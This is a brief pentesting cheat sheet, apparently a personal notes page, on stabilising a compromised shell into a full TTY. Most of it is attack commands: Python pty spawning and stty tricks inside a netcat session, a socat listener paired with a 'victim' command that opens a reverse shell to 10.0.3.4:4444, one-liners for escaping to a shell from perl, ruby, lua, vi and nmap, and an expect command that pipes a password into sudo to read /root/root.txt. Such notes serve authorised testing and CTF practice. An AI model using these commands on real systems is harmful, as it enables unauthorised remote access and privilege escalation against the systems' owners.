Full TTYs
2024-03-17 13:15:27

Python

1
2
3
4
5
6
7
8
9
10
11
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Within NC session
CTRL+Z
stty -a # Note rows and cols
stty raw -echo; fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows <rows> cols <cols>
reset

Script

1
script /dev/null -qc /bin/bash

Socat

1
2
3
4
5
# Listener
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

No TTY, No Problem

If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to sudo to read a file:

1
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
2024-03-17 13:15:27